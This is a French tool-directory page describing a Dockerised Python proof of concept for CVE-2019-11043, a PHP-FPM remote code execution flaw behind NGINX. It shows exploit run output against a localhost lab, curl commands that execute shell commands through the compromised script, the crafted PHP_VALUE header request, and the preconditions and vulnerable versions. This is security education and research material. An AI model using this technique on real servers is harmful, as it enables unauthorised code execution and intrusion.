Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2019-11043 — Exploit Python dockérisé pour CVE-2019-11043, une vulnérabilité critique d'exécution de code à distance PHP-FPM dans les configurations NGINX. Comprend l'installation, l'utilisation et une analyse détaillée. | Kitploit
Outils/GitHubGitHub/kriskhub/cve-2019-11043
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationOutil d'Accès à Distance
GitHubkriskhub/cve-2019-11043

CVE-2019-11043

Exploit Python dockérisé pour CVE-2019-11043, une vulnérabilité critique d'exécution de code à distance PHP-FPM dans les configurations NGINX. Comprend l'installation, l'utilisation et une analyse détaillée.

Voir le dépôt
1422il y a 6 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

PoC CVE-2019-11043

Une implémentation Python de l'exploit CVE-2019-11043

L'exploit enregistré sous CVE-2019-11043 exploite un bug dans l'implémentation de PHP-FPM en conjonction avec un serveur NGINX. Dans certaines configurations, une expression régulière dans le path_info FastCGI amène le module FPM à écrire au-delà des tampons alloués dans l'espace réservé aux données du protocole FastCGI. En conséquence, un utilisateur web peut être capable d'exécuter du code à distance. Le tableau suivant montre l'évaluation de la sévérité de l'exploit selon le Common Vulnerability Scoring System (CVSS).

MétriqueValeur
Score d'impact5.9
Score de base9.8
SévéritéCritique
Vecteur d'accèsRéseau
ConfidentialitéÉlevée
IntégritéÉlevée
DisponibilitéÉlevée

Configuration

Images Docker :

  • nginx@latest
  • [email protected]

Python :

  • script d'exploit

Pour commencer

Une installation de Docker et docker-compose est requise pour exécuter le projet.

En exécutant la commande suivante depuis le répertoire racine du projet, toutes les images docker nécessaires seront téléchargées et les conteneurs démarrés dans le bon ordre :

docker-compose up

Pour exécuter la configuration en mode démon, exécutez la commande suivante :

docker-compose up -d

Pour arrêter un démarrage en mode démon, exécutez la commande suivante :

docker-compose down

Exemple

# docker-compose up -d
Creating php   ... done
Creating nginx ... done

Comment utiliser l'exploit

# python3 exploit.py --target http://localhost:11043/index.php
🚀🚀🚀 Starting...
? Requesting target to find qsl candidates.
        [Response] Status sode is 502 for QSL 1761. Meets criteria and added as candidate
        [Response] Status sode is 502 for QSL 1762. Meets criteria and added as candidate
        [Response] Status sode is 502 for QSL 1763. Meets criteria and added as candidate
        [Response] Status sode is 502 for QSL 1764. Meets criteria and added as candidate
        [Response] Status sode is 502 for QSL 1765. Meets criteria and added as candidate
        Post processed QSL candidate(s): 1751, 1752, 1753, 1754, 1755, 1756, 1757, 1758, 1759, 1760, 1761, 1762, 1763, 1764, 1765
⚙️ Testing found candidates
        [Test] QSL Candidate:  1751
        [Test] QSL Candidate:  1752
        [Test] QSL Candidate:  1753
        [Test] QSL Candidate:  1754
        [Test] QSL Candidate:  1755
💣 Target seems vulnerable with attack parameters: (QSL:1755/HVL:8): PHPSESSID=b83281b19399d7725091ad4b2b20e530; path=/
✅ Success: Remote Code Execution exploit successfully deployed!

You should be able to run commands using:
    🌍 curl http://localhost:11043/index.php?a=bin/ls+/
    or
    🌍 curl http://localhost:11043/index.php?a=%0asleep+5%0a+/

Analyse

Le Bug

Cette vulnérabilité a été découverte lors du tour de qualification du Real World CTF 2019, lorsqu'Andrew Danau, un chercheur en sécurité, a découvert que l'envoi d'un caractère de contrôle de nouvelle ligne %0A entraîne une exception dans le code du serveur. Image of Bug fix L'expression régulière dans la directive fastcgi_split_path_info peut être brisée en utilisant le caractère de nouvelle ligne (sous forme encodée, %0A). L'expression régulière brisée conduit alors à un PATH_INFO vide, ce qui déclenche le bug. Comme env_path_info est l'adresse de la variable path_info, path_info vaut 0 donc pilen aussi vaut 0. slen est la longueur de l'URL demandée.

Image of Bug fix

Comment contrôler path_info

En utilisant une longueur soigneusement choisie du chemin URL et de la chaîne de requête, un attaquant peut faire pointer path_info précisément sur le premier octet de la structure _fcgi_data_seg. Mettre zéro dedans déplace le champ char* pos vers l'arrière, et ensuite FCGI_PUTENV écrase certaines données (y compris d'autres variables fast cgi) avec le chemin du script. En utilisant cette technique, la vulnérabilité permet de créer une fausse variable FCGI PHP_VALUE, puis d'utiliser une chaîne de valeurs de configuration soigneusement choisies pour obtenir une exécution de code.

Image of fcgi data seg

int ptlen = strlen(pt);
int slen = len - ptlen;
int len = script_path_translated_len;
  • len est la longueur du chemin URL
    • quand l'URL est http://localhost:11043/index.php/TUD%0aNetSec.php
    • script_path_translated de la configuration nginx est /var/www/html/index.php/TUD\nNetSec.php
  • ptlen est la longueur du contenu avant le premier slash dans le chemin URL
    • quand l'URL est http://localhost:11043/index.php/TUD%0aNetSec.php
    • pt est /var/www/html/index.php

La différence entre les deux variables "len" et "ptlen" est la longueur du chemin spécifié dans l'URL. Puisque le chemin de ces deux peut être contrôlé, la variable path_info peut également être contrôlée.

Image of Bug fix Comme le chemin est contrôlable, nous pouvons définir la valeur de n'importe quelle adresse à zéro (Ligne 1222). En définissant la valeur de l'adresse ciblée à zéro, nous pouvons contrôler le char* pos de la structure _fcgi_data_seg à zéro. Par cette approche, nous exploitons un buffer underflow et sommes capables d'écrire des variables globales dans le bon espace mémoire.

Le hachage et la longueur sont comparés avant les clés. En choisissant soigneusement les bons en-têtes et clés, nous pouvons ajouter en utilisant des en-têtes. Selon les découvertes de neex, la chaîne "ebut", qui devient HTTP_EBUT, a la même longueur et la même valeur FCGI_HASH que PHP_VALUE. Ainsi, en envoyant une requête GET au serveur similaire à
GET /index.php/PHP_VALUE%0Asession_start=1;;; EBUT: tudda nwsec
l'en-tête HTTP_EBUT devient PHP_VALUE et la valeur session_start=1.

Déterminer la vulnérabilité d'un serveur

Prérequis

La liste suivante donne à l'exploiteur les prérequis nécessaires qui doivent être satisfaits pour déployer l'attaque.

  • Les paramètres de location dans la configuration NGINX doivent être transmis à PHP-FPM
  • La variable path_info doit être définie conformément à fastcgi_path_info
  • path_info est défini après request_uri dans la configuration.
  • L'expression régulière doit commencer par ˆ et se terminer par $ de sorte que env_path_info devienne une valeur vide lors de l'analyse d'une URI avec un caractère de nouvelle ligne.
  • Il ne doit y avoir aucune vérification d'existence de fichier comme try_files $uri = 404 dans le fichier de configuration, car cela empêche FastCGI de transmettre les requêtes et n'atteindra jamais PHP-FPM.
  • Cet exploit fonctionne uniquement pour PHP 7+, plus précisément les versions 7.1.x inférieures à 7.1.33, 7.2.x inférieures à 7.2.24 et 7.3.x inférieures à 7.3.11.

Exploit

Télécharger l’outil